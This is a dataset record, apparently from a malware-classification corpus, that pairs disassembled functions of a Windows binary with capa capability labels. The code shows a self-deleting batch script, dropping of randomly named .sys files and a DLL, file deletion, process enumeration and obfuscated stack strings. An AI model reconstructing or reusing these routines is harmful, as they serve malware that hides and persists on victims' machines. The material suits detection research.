joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400072b0
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push r12
sub rsp, 0x180
mov rax, qword [0x1401507e0]
xor rax, rsp
mov qword [rsp + 0x170], rax
xor eax, eax
mov rbx, rcx
mov r12d, edx
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x48], 0
mov qword [rsp + 0x49], rax
mov dword [rsp + 0x51], eax
mov word [rsp + 0x55], ax
mov byte [rsp + 0x57], al
mov byte [rsp + 0x60], al
call fcn.140013580
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.140013e2c
call fcn.140013e44
mov r8d, reloc.WS2_32.dll_recv
mov ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
lea rdx, [rsp + 0x48]
sub ecx, eax
add ecx, 5
call fcn.1400044a0
mov ecx, 0x1000
call fcn.140003f58
mov rbp, rax
test rax, rax
jne 0x140007359
lea eax, [rbp + 8]
jmp 0x14000755c
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
mov qword [rsp + 0x1b0], rsi
mov qword [rsp + 0x1b8], rdi
call fcn.140013580
mov r8d, 0x104
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x200]
call fcn.140007730
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x200]
call fcn.1400076f0
xor r11d, r11d
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x41], r11d
lea rcx, [rbp + 0x200]
mov word [rsp + 0x45], r11w
mov dword [rsp + 0x40], 0x7461622e
mov byte [rsp + 0x44], r11b
mov byte [rsp + 0x47], r11b
call fcn.1400076f0
lea rdx, str._echo_off_r_n
lea rcx, [rbp + 0x400]
call fcn.140007730
lea rcx, [rbp + 0x400]
call fcn.140007870
mov r8d, 1
test r12d, r12d
lea rbx, [rbp + rax + 0x400]
lea rdx, str.set_cnt_u_r_n
cmovne r8d, r12d
mov rcx, rbx
call fcn.140014060
mov rcx, rbx
call fcn.140007870
lea rdx, str.set_num0_r_n:r1_r_nset__a_num_num_1_r_n
add rbx, rax
mov rcx, rbx
call fcn.140007730
mov rcx, rbx
call fcn.140007870
lea rdx, str.del__f__q___s__r_n
mov r8, rbp
add rbx, rax
mov rcx, rbx
call fcn.140014060
mov rcx, rbx
call fcn.140007870
lea rdx, str.if__cnt__num__goto_e1_r_nping__n_2_127.1_nul_r_n
add rbx, rax
mov rcx, rbx
call fcn.140007730
mov rcx, rbx
call fcn.140007870
lea rdx, str.if_exist___s__goto_r1_r_n
mov r8, rbp
add rbx, rax
mov rcx, rbx
call fcn.140014060
mov rcx, rbx
call fcn.140007870
lea r8, [rbp + 0x200]
lea rdx, str.:e1_r_ndel__f__q___s__r_n
add rbx, rax
mov rcx, rbx
call fcn.140014060
mov rcx, rbx
call fcn.140007870
lea rcx, [rbp + 0x400]
call fcn.140007870
xor r9d, r9d
lea rdx, [rbp + 0x400]
mov r8, rax
lea rcx, [rbp + 0x200]
call fcn.140004790
lea r8, [rbp + 0x200]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x400]
mov dword [rsp + 0x40], 0x22732522
mov byte [rsp + 0x44], 0
call fcn.140014060
mov qword [rsp + 0x30], 0
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x400]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call fcn.140004e50
mov rcx, rbp
call fcn.140013e24
mov rdi, qword [rsp + 0x1b8]
mov rsi, qword [rsp + 0x1b0]
xor eax, eax
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140013680
add rsp, 0x180
pop r12
pop rbp
pop rbx
ret
Function at 0x140009940
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 8
mov r11d, r8d
mov r10, rdx
mov r9d, ecx
test rdx, rdx
jne 0x140009959
xor eax, eax
add rsp, 8
ret
mov qword [rsp], rdi
not r9d
lea rdi, [0x140023df0]
cmp r11d, 8
jb 0x140009a52
mov qword [rsp + 0x10], rbx
mov rbx, r11
shr rbx, 3
nop dword [rax]
movzx ecx, byte [r10]
mov eax, r9d
shr r9d, 8
xor rcx, rax
add r10, 8
add r11d, 0xfffffff8
movzx eax, cl
movzx ecx, byte [r10 - 7]
mov edx, dword [rdi + rax*4]
xor edx, r9d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 6]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 5]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 4]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 3]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 2]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 1]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov r9d, dword [rdi + rax*4]
xor r9d, edx
sub rbx, 1
jne 0x140009980
mov rbx, qword [rsp + 0x10]
test r11d, r11d
je 0x140009a80
nop word [rax + rax]
movzx ecx, byte [r10]
mov eax, r9d
inc r10
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
add r11d, 0xffffffff
jne 0x140009a60
mov rdi, qword [rsp]
not r9d
mov eax, r9d
add rsp, 8
ret

Function at 0x140009a90
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov r9d, dword [rcx]
movsx rax, dl
mov r10, rcx
mov r8, r9
shr r9d, 8
xor r8, rax
movzx eax, r8b
lea r8, [0x140023df0]
mov edx, dword [r8 + rax*4]
xor edx, r9d
mov dword [rcx], edx
movzx eax, dl
mov edx, dword [rcx + 8]
add eax, dword [rcx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [rcx + 4], eax
movzx eax, byte [r10 + 7]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov eax, dword [r8 + rcx*4]
xor eax, edx
mov dword [r10 + 8], eax
ret
Function at 0x14000d190
Capabilities:
Check if file exists
Create directory

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1401507e0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor eax, eax
mov r12d, r9d
mov rbx, rdx
mov r13, rcx
mov byte [rsp + 0x30], 0
xor ebp, ebp
mov qword [rsp + 0x31], rax
mov dword [rsp + 0x39], eax
mov word [rsp + 0x3d], ax
mov byte [rsp + 0x3f], al
mov r14d, r8d
nop word [rax + rax]
mov r8, r14
xor edx, edx
mov rcx, rbx
call fcn.140013580
test r12d, r12d
je 0x14000d231
call fcn.140013e44
xor r9d, r9d
mov dword [rsp + 0x20], 1
mov ecx, eax
mov eax, 0x2aaaaaab
lea r8d, [r9 + 2]
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 4
sub ecx, eax
lea edx, [rcx + 8]
mov rcx, rbx
call fcn.140006310
jmp 0x14000d2b4
lea rcx, [r13 + 0x544]
mov rdx, rbx
mov dword [rsp + 0x30], 0x76697244
sub rdx, rcx
mov dword [rsp + 0x34], 0x737265
nop
movzx eax, byte [rcx]
inc rcx
mov byte [rdx + rcx - 1], al
test al, al
jne 0x14000d250
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
movzx eax, word [0x14002267c]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x30]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000d290
call fcn.140003f60
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.1400040b0
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
je 0x14000d2e3
cmp byte [rbx + rcx - 1], 0x5c
je 0x14000d2e3
mov rdi, rbx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x14002267c]
mov word [rdi - 1], ax
lea rcx, [r13 + 0x74c]
mov edx, 0x20
call fcn.14000d0f0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [r13 + rcx + 0x74c]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000d310
test r12d, r12d
je 0x14000d350
call fcn.140013e44
mov r8d, reloc.WS2_32.dll_recv
cdq
and eax, 1
xor eax, edx
sub eax, edx
lea rdx, [rsp + 0x30]
lea ecx, [rax + 2]
call fcn.1400044a0
mov byte [rsp + 0x30], 0x2e
jmp 0x14000d35d
mov dword [rsp + 0x30], 0x7379732e
mov byte [rsp + 0x34], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
xor edx, edx
lea r8, [rsp + 0x30]
nop
movzx ecx, byte [r8 + rdx]
inc rdx
mov byte [rdi + rdx - 2], cl
test cl, cl
jne 0x14000d370
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14000d398
inc ebp
cmp ebp, 0xa
jl 0x14000d1e0
mov eax, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140013680
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000d3c0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x150
mov rax, qword [0x1401507e0]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbx, rcx
mov rsi, rdx
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.140013580
xor r9d, r9d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 0x20]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x14000d4cc
lea rcx, [rbx + 0x74c]
mov edx, 0x20
mov qword [rsp + 0x170], rdi
call fcn.14000d0f0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
xor ecx, ecx
nop
movzx eax, byte [rbx + rcx + 0x74c]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000d440
mov byte [rsp + 0x20], al
xor eax, eax
mov qword [rsp + 0x21], rax
mov dword [rsp + 0x29], eax
mov word [rsp + 0x2d], ax
mov byte [rsp + 0x2f], al
call fcn.140013e44
mov r8d, reloc.WS2_32.dll_recv
cdq
and eax, 1
xor eax, edx
sub eax, edx
lea rdx, [rsp + 0x20]
lea ecx, [rax + 2]
call fcn.1400044a0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
mov dword [rsp + 0x20], 0x7379732e
mov byte [rsp + 0x24], 0
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x20]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000d4b0
mov rdi, qword [rsp + 0x170]
mov eax, 1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140013680
mov rbx, qword [rsp + 0x178]
add rsp, 0x150
pop rsi
ret

Function at 0x14000e230
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x1401507e0]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbp, rcx
mov rsi, rdx
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.140013580
mov dword [rsp + 0x20], 0x1a
mov dword [rsp + 0x24], 0x35
mov dword [rsp + 0x28], 0x36
mov dword [rsp + 0x2c], 0x22
xor ebx, ebx
lea rdi, [rsp + 0x20]
nop word [rax + rax]
mov r8d, dword [rdi]
lea rdx, [rsp + 0x30]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x14000e2eb
call fcn.140013e44
lea rcx, [rsp + 0x30]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
mov rdx, rsi
sub r8d, eax
add r8d, 2
call fcn.140005e00
test eax, eax
jne 0x14000e31b
inc ebx
add rdi, 4
cmp ebx, 4
jb 0x14000e2a0
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140013680
mov rbx, qword [rsp + 0x180]
add rsp, 0x150
pop rdi
pop rsi
pop rbp
ret
mov edx, 0x5c
mov rcx, rsi
call fcn.140015434
test rax, rax
je 0x14000e361
lea rcx, [rbp + 0x74c]
lea rdx, [rax + 1]
mov r8, rcx
sub r8, rdx
nop
movzx eax, byte [rdx]
inc rdx
mov byte [r8 + rdx - 1], al
test al, al
jne 0x14000e340
mov edx, 0x2e
call fcn.140015434
test rax, rax
je 0x14000e361
mov byte [rax], 0
mov eax, 1
jmp 0x14000e2f8
Function at 0x14000e7f0
Capabilities:
Contain obfuscated stackstrings
Delete file
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x1c0
mov rax, qword [0x1401507e0]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
mov rbp, rcx
mov r13, rdx
lea rcx, [rsp + 0xa1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xa0], 0
call fcn.140013580
lea rcx, [rsp + 0x40]
lea rdx, [rbp + 0xc0]
mov r8d, 0x60
call fcn.1400136f0
mov edx, 0x60
lea rcx, [rsp + 0x40]
mov r8d, edx
call fcn.140002904
lea rdx, [rbp + 0x33c]
xor esi, esi
lea r9, [rsp + 0x40]
lea r8, [rsp + 0xa0]
mov edi, 0x79
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], esi
mov dword [rsp + 0xa0], 0x61636f4c
mov dword [rsp + 0x20], 0x60
mov dword [rsp + 0xa4], 0x6365536c
mov dword [rsp + 0xa8], 0x74697275
mov word [rsp + 0xac], di
call fcn.1400049b0
mov dword [rsp + 0xa0], 0x72746552
mov word [rsp + 0xa4], di
call fcn.140003f60
lea rcx, [rbp + 0x870]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x870]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1400040b0
lea r9d, [rdi - 0x78]
lea rdx, [rbp + 0x870]
mov r8d, 0x104
mov rcx, rbp
call fcn.14000d190
mov eax, dword [0x140024284]
or rcx, 0xffffffffffffffff
mov dword [rbp + 0x974], eax
movzx eax, byte [0x140024288]
lea rdi, [rbp + 0x974]
mov byte [rbp + 0x978], al
xor eax, eax
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rbp + rcx + 0x870]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000e940
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, rbp
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
call fcn.14000d890
mov rsi, qword [rsp + 0x38]
mov edi, eax
test eax, eax
jne 0x14000e996
lea rdx, [rbp + 0x74c]
lea rcx, [rbp + 0x974]
call fcn.140006d10
mov edi, eax
test eax, eax
je 0x14000ea17
test rsi, rsi
je 0x14000ea2d
mov r12d, dword [rsp + 0x30]
test r12d, r12d
je 0x14000ea17
call fcn.140003f60
lea rcx, [rbp + 0x870]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x870]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1400040b0
lea rdx, [rbp + 0x870]
mov r9d, 1
mov r8d, 0x104
mov rcx, rbp
call fcn.14000d190
lea r9, [rbp + 0x74c]
lea r8, [rbp + 0x870]
mov edx, r12d
mov rcx, rsi
call fcn.14000e220
mov edi, eax
test eax, eax
je 0x14000ea17
lea r8, [rbp + 0x870]
call fcn.14000e220
mov edi, eax
test rsi, rsi
je 0x14000ea2d
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, 5
mov rcx, rbp
call fcn.14000d5e0
test eax, eax
jne 0x14000ea45
mov eax, 2
jmp 0x14000ea4f
mov dword [r13], 0x65
mov eax, edi
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.140013680
mov rbx, qword [rsp + 0x200]
add rsp, 0x1c0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000ebb0
Capabilities:
Contain obfuscated stackstrings
Delete file
Set file attributes

Disassembly:
push rbx
push rbp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1b0
mov rax, qword [0x1401507e0]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov rdi, rcx
mov r12d, r8d
mov rbp, rdx
lea rcx, [rsp + 0x91]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x90], 0
call fcn.140013580
xor r13d, r13d
lea ebx, [r13 + 2]
mov qword [rsp + 0x208], rsi
nop word [rax + rax]
lea rcx, [rsp + 0x30]
lea rdx, [rdi + 0xc0]
mov r8d, 0x60
call fcn.1400136f0
mov edx, 0x60
lea rcx, [rsp + 0x30]
mov r8d, edx
call fcn.140002904
mov eax, 0x79
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x90]
lea rdx, [rdi + 0x33c]
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x90], 0x61636f4c
mov dword [rsp + 0x94], 0x6365536c
mov dword [rsp + 0x98], 0x74697275
mov word [rsp + 0x9c], ax
mov dword [rsp + 0x20], 0x60
call fcn.1400049b0
xor r9d, r9d
mov r8d, r12d
mov rdx, rbp
mov rcx, rdi
call fcn.14000ea80
test eax, eax
jne 0x14000ecd7
lea rdx, [rdi + 0x74c]
lea rcx, [rdi + 0x974]
call fcn.140006d10
mov esi, eax
test eax, eax
jne 0x14000ecd7
mov edx, ebx
mov rcx, rdi
call fcn.14000d5e0
test eax, eax
jne 0x14000edb6
call fcn.140003f60
lea rcx, [rdi + 0x870]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rdi + 0x870]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1400040b0
mov r9d, 1
mov r8d, r12d
mov rdx, rbp
mov rcx, rdi
call fcn.14000ea80
test eax, eax
jne 0x14000ed43
lea r9, [rdi + 0x74c]
lea r8, [rdi + 0x870]
mov edx, r12d
mov rcx, rbp
call fcn.14000e220
mov esi, eax
test eax, eax
jne 0x14000ed43
lea edx, [rax + 2]
mov rcx, rdi
call fcn.14000d5e0
test eax, eax
jne 0x14000edb6
call fcn.140003f60
lea rcx, [rdi + 0x870]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rdi + 0x870]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1400040b0
mov r9d, 2
mov r8d, r12d
mov rdx, rbp
mov rcx, rdi
call fcn.14000ea80
mov esi, eax
test eax, eax
jne 0x14000edb6
lea r9, [rdi + 0x74c]
lea r8, [rdi + 0x870]
mov edx, r12d
mov rcx, rbp
call fcn.14000e220
mov esi, eax
test eax, eax
jne 0x14000edb6
mov ebx, 2
mov rcx, rdi
mov edx, ebx
call fcn.14000d5e0
test eax, eax
cmove esi, ebx
mov edx, 5
mov rcx, rdi
call fcn.14000d5e0
test eax, eax
jne 0x14000edff
call fcn.140003f60
lea rcx, [rdi + 0x870]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rdi + 0x870]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1400040b0
inc r13d
mov ebx, 2
cmp r13d, 3
jae 0x14000ec10
mov eax, esi
mov rsi, qword [rsp + 0x208]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.140013680
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rbp
pop rbx
ret
Function at 0x140010630
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x280
mov rax, qword [0x1401507e0]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor eax, eax
mov rdi, rcx
mov rsi, r8
mov r12d, edx
xor ebx, ebx
lea rcx, [rsp + 0x51]
mov r8d, 0x103
xor edx, edx
mov ebp, r9d
mov dword [rsp + 0x30], ebx
mov byte [rsp + 0x38], bl
mov qword [rsp + 0x39], rax
mov dword [rsp + 0x41], eax
mov word [rsp + 0x45], ax
mov byte [rsp + 0x47], al
mov byte [rsp + 0x50], al
call fcn.140013580
lea rcx, [rsp + 0x160]
xor edx, edx
mov r8d, 0x104
call fcn.140013580
lea rcx, [rsp + 0x160]
mov edx, 0x103
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test r12d, r12d
jne 0x140010758
lea r8d, [rbx + 0x10]
lea rdx, [rsp + 0x38]
lea ecx, [rbx + 7]
call fcn.1400044a0
lea r8, [rdi + 0x80]
lea r9, [rsp + 0x38]
lea rdx, str._s_s.dll
lea rcx, [rsp + 0x50]
call fcn.140014060
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call fcn.140004790
mov dword [rsp + 0x30], eax
test eax, eax
jne 0x1400107b7
mov edx, 1
lea rcx, [rsp + 0x50]
mov r8d, edx
call fcn.1400017d4
lea rcx, [rdi + 0x28]
lea r8, [rsp + 0x38]
lea rdx, str._s.dll
call fcn.140014060
lea edx, [rbx + 1]
mov rcx, rdi
call fcn.140001958
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1400107b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400107b7
cmp r12d, 1
jne 0x1400107b3
mov rdx, rbp
sub rdx, 4
je 0x14001078a
mov rcx, rsi
nop word [rax + rax]
cmp dword [rcx], 0xccddeeff
jne 0x14001077e
mov dword [rcx], 1
inc ebx
inc rcx
mov eax, ebx
cmp rax, rdx
jb 0x140010770
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
xor r9d, r9d
mov rdx, rsi
mov rcx, rax
mov dword [rsp + 0x20], 0xc8
call fcn.140010290
mov rcx, rax
call fcn.14000fe80
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140013680
add rsp, 0x280
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400116e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x1401507e0]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0xd1]
xor edx, edx
mov r8d, 0x103
call fcn.140013580
xor r11d, r11d
xor eax, eax
xor ebx, ebx
lea rcx, [rsp + 0x1e2]
lea r8d, [r11 + 0x5e]
xor edx, edx
mov qword [rsp + 0x69], r11
mov qword [rsp + 0x71], r11
mov qword [rsp + 0x79], r11
mov dword [rsp + 0x81], r11d
mov word [rsp + 0x85], r11w
mov byte [rsp + 0x87], r11b
mov word [rsp + 0x48], bx
mov qword [rsp + 0x4a], rax
mov qword [rsp + 0x52], rax
mov qword [rsp + 0x5a], rax
mov dword [rsp + 0x62], eax
mov word [rsp + 0x66], ax
mov word [rsp + 0x1e0], bx
call fcn.140013580
mov eax, WSAGetLastError
lea r9, [rsp + 0x90]
lea r8, [rsp + 0x68]
mov word [rsp + 0x10c], ax
xor eax, eax
lea rdx, [rsp + 0xd0]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rax
lea rax, [rsp + 0x40]
mov edi, reloc.WS2_32.dll_WSAStartup
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0xd0], 0x54535953
mov dword [rsp + 0xd4], 0x435c4d45
mov dword [rsp + 0xd8], 0x65727275
mov qword [rsp + 0x20], rax
mov dword [rsp + 0xdc], 0x6f43746e
mov dword [rsp + 0xe0], 0x6f72746e
mov dword [rsp + 0xe4], 0x7465536c
mov dword [rsp + 0xe8], 0x6e6f435c
mov dword [rsp + 0xec], 0x6c6f7274
mov dword [rsp + 0xf0], 0x7365535c
mov dword [rsp + 0xf4], 0x6e6f6973
mov dword [rsp + 0xf8], 0x6e614d20
mov dword [rsp + 0xfc], 0x72656761
mov dword [rsp + 0x100], 0x6f75515c
mov dword [rsp + 0x104], 0x53206174
mov dword [rsp + 0x108], 0x65747379
mov dword [rsp + 0x68], 0x656c6946
mov word [rsp + 0x6c], di
mov dword [rsp + 0x40], 0x40
call fcn.1400048e0
cmp word [rsp + 0x90], bx
je 0x140011981
lea edx, [rbx + 0x40]
lea rcx, [rsp + 0x90]
mov r8d, 0x594b4e44
call fcn.140002904
mov word [rsp + 0xae], bx
cmp word [rsp + 0x90], bx
je 0x140011981
mov ecx, 0x5c
mov eax, 0x2e
lea r8, [rsp + 0x90]
mov word [rsp + 0x48], cx
mov word [rsp + 0x4a], cx
mov word [rsp + 0x4e], cx
mov word [rsp + 0x4c], ax
mov eax, 0x25
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x48]
mov word [rsp + 0x52], di
mov word [rsp + 0x54], bx
mov word [rsp + 0x50], ax
call fcn.140001000
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 3]
lea rcx, [rsp + 0x1e0]
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14001197c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, rbx
jmp 0x140011985
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140013680
mov rbx, qword [rsp + 0x260]
add rsp, 0x250
pop rdi
ret
Function at 0x140011c70
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rsi
sub rsp, 0x28
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x20], r14
mov r14, rcx
mov ecx, 0x1000
mov r12d, r8d
mov r13, rdx
xor ebp, ebp
call fcn.140013a24
mov ecx, 0x130
mov rsi, rax
call fcn.140013a24
mov rbx, rax
test rax, rax
je 0x140011d5f
test rsi, rsi
je 0x140011d57
xor edx, edx
mov r8d, 0x130
mov rcx, rax
mov qword [rsp + 0x48], rdi
call fcn.140013580
lea ecx, [rbp + 2]
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140011cf2
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140011d43
mov rdx, rbx
mov rcx, rax
mov dword [rbx], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x140011d10
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140011d43
mov edx, dword [rbx + 8]
mov r9, rsi
mov r8, r13
mov rcx, r14
call fcn.140011a40
mov ebp, eax
test eax, eax
jne 0x140011d43
test r12d, r12d
je 0x140011d34
lea ecx, [rax + 1]
call fcn.140008590
mov rdx, rbx
mov rcx, rdi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140011d10
cmp rdi, 0xffffffffffffffff
je 0x140011d52
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x48]
mov rcx, rbx
call fcn.1400136a0
mov r14, qword [rsp + 0x20]
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test rsi, rsi
je 0x140011d80
mov rcx, rsi
call fcn.1400136a0
mov eax, ebp
add rsp, 0x28
pop rsi
pop rbp
ret